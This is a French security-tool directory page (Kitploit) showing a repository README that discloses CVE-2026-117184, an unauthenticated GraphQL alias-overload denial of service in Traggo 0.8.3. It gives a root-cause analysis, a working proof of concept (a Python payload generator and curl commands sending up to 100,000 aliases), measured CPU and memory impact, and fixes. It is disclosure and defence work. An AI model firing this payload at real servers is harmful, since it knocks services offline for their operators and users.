Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-117184 — Preuve de concept et analyse technique pour CVE-2026-117184, une attaque par déni de service non authentifiée via surcharge d'alias GraphQL dans Traggo 0.8.3, avec générateur de charge utile et recommandations de correction. | Kitploit
Outils/GitHubGitHub/primandito/cve-2026-117184
Analyse des VulnérabilitésSécurité WebSécurité des API
GitHubprimandito/cve-2026-117184

CVE-2026-117184

Preuve de concept et analyse technique pour CVE-2026-117184, une attaque par déni de service non authentifiée via surcharge d'alias GraphQL dans Traggo 0.8.3, avec générateur de charge utile et recommandations de correction.

Voir le dépôt
il y a 19 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    383
  • 5

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    328
  • 6

    SafeLine

    chaitin/safeline

    WAF auto-hébergé et proxy inverse qui filtre le trafic HTTP malveillant, bloque les injections SQL, les XSS et les attaques de robots, avec limitation de débit et chiffrement dynamique HTML/JS.

    288

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-117184 — Déni de service non authentifié via surcharge d'alias GraphQL dans Traggo 0.8.3

CVE Version Status CVE State

Résumé

Le serveur Traggo v0.8.3 est vulnérable à un déni de service non authentifié (DoS). Le point de terminaison GraphQL accepte un nombre illimité de champs aliasés et n'impose aucune limite de taille du corps de requête. Comme le champ version ne possède pas de directive @hasRole, l'attaque peut être déclenchée sans se connecter.

Un document forgé contenant de nombreux alias (par ex. {v0:version{name} v1:version{name} ...}) force le serveur à passer un long moment à résoudre les champs et à allouer une mémoire excessive. Une seule requête avec 100 000 alias (une charge utile de 2,0 Mo) monopolise un cœur CPU pendant plus de 100 secondes et consomme près de 1 Go de RAM. Des requêtes parallèles peuvent facilement pousser le processus en situation d'OOM (Out of Memory).

ChampValeur
CVE IDCVE-2026-117184
Enregistrement officielcve.org/CVERecord?id=CVE-2026-117184
Version affectéeTraggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76)
Type de vulnérabilitéCWE-400 : Consommation de ressources non contrôlée (DoS)
Vecteur d'attaqueRéseau
Privilèges requisAucun (non authentifié)
Composant affectéPoint de terminaison GraphQL /graphql (graphql/handler.go), schema.graphql, logger/gql.go
Rapport originaltraggo/server#253

Fichiers affectés

Chemin de fichierDescription
graphql/handler.goConfiguration du handler sans limite de complexité ni limite de taille du corps.
schema.graphqlLe champ version ne possède pas de directive d'authentification.
auth/hasrole.goImplémentation de la directive (ignorée pour version).
graphql/resolver.goLe résolveur version est appelé pour chaque alias.
logger/gql.goLa requête brute est journalisée en cas d'erreur, amplifiant l'impact de la taille du corps.

Analyse de la cause racine

1. Configuration du handler sans limites

graphql/handler.go:13-27 — handler.ComplexityLimit(...) n'est jamais passé. Le corps de la requête est transmis directement à gqlHandler.ServeHTTP sans http.MaxBytesReader.

func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
	gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
		Resolvers:  resolvers,
		Directives: directives,
	}), handler.RequestMiddleware(logger.GQLLog()))
	playground := handler.Playground("Traggo Playground", endpoint)

	return func(writer http.ResponseWriter, request *http.Request) {
		if acceptHTMLAndNotJSON(request) {
			playground.ServeHTTP(writer, request)
		} else {
			gqlHandler.ServeHTTP(writer, request)
		}
	}
}

2. Champ version non authentifié

schema.graphql:62 — Alors que les autres champs disposent de @hasRole(role: USER), le champ version n'en dispose pas, ce qui le rend accessible sans en-tête Authorization.

devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!

3. Amplification de résolveur

graphql/resolver.go:67-71 — Chaque alias dans l'ensemble de sélection invoque le résolveur séparément, multipliant l'utilisation du CPU et de la mémoire.

func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
	gql := &gqlmodel.Version{}
	copier.Copy(gql, r.version)
	return gql, nil
}

4. Comportement par défaut de gqlgen

gqlgen v0.17.85 n'active la limite de complexité que lorsque l'application la définit explicitement (handler/handler.go:59-67). Comme Traggo ne le fait pas, cfg.complexityLimit vaut 0 et aucune extension n'est ajoutée.

5. Amplification des journaux

logger/gql.go:27-36 — Même si la requête échoue, la requête brute est journalisée. Une charge utile de 20 Mo génère une entrée de journal de 20 Mo par requête.

if len(errs) > 0 {
    // ...
	log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}

Preuve de concept

Testé sur la v0.8.3, compilée depuis les sources avec go build (Go 1.24.4, SQLite, 4 cœurs, 7,7 Go de RAM).

Étape 1 : Vérifier l'accès non authentifié

API=http://127.0.0.1:3999/graphql

curl -s -D - "$API" \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"{version{name commit}}"}' \
  -o /tmp/version.json

cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}

Étape 2 : Générer la charge utile

python3 - <<'EOF'
import json

for n in (5000, 20000, 50000, 100000):
    q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
    with open(f"/tmp/alias_{n}.json", "w") as f:
        json.dump({"query": q}, f)
EOF

(Le fichier de 100k fait 2 088 904 octets).

Étape 3 : Envoyer et mesurer

for n in 5000 20000 50000; do
  curl -s "$API" -H 'Content-Type: application/json' \
    -d @/tmp/alias_$n.json -o /dev/null \
    -w "$n: http=%{http_code} time=%{time_total}\n"
done
AliasTaille de la requêteTempsRemarques
5 00099 Ko0,15 s
20 000409 Ko2,37 s
50 0001,0 Mo24,47 s100 % d'un cœur
100 0002,0 Mo102,56 sRSS 962 Mo

Étape 4 : Exécution parallèle

Trois requêtes de 50 000 en parallèle ont montré 291-299 % d'utilisation CPU sur une machine à 4 cœurs. Le serveur ne plante pas immédiatement, mais les petites requêtes restent réactives (environ 1 ms) pendant que les grosses s'exécutent. Le problème principal est l'épinglage CPU et un risque d'OOM.


Correctif recommandé

1. Définir une limite de complexité et une limite de taille du corps

Appliquer les limites dans graphql/handler.go :

gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
    Resolvers:  resolvers,
    Directives: directives,
}), 
    handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
    handler.RequestMiddleware(logger.GQLLog()),
)

// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
    request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
    // ... (rest of the handler)
}

Remarque : avec ComplexityLimit(1000), la requête d'alias de 50k échoue en 0,17 s avec une erreur : operation has complexity 100000, which exceeds the limit of 1000.

2. Restreindre le champ version

Si version n'a pas besoin d'être public, ajoutez @hasRole(role: USER) à schema.graphql :

version: Version! @hasRole(role: USER)

Environnement

ComposantVersion
Traggo Serverv0.8.3 (commit 6321119c...)
Go1.24.4
gqlgen0.17.85
Base de donnéesSQLite
OSLinux (4 cœurs, 7,7 Go de RAM)

Chronologie

DateÉvénement
2026-10-22Issue #253 signalée au dépôt du serveur Traggo
2026-10-30Enregistrement CVE officiel publié sur cve.org
—En attente de la réponse du mainteneur concernant le correctif

Références

Télécharger l’outil